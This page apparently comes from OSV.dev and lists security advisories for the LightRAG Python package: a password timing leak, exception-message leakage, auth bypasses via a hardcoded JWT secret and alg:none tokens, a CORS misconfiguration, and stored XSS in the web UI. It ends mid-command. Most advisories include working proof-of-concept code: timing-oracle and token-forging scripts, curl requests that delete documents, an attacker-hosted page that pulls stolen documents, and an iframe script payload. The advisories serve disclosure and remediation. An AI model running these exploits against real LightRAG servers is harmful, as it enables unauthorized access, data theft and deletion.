            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 20, 2026

1.4.11rc2 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
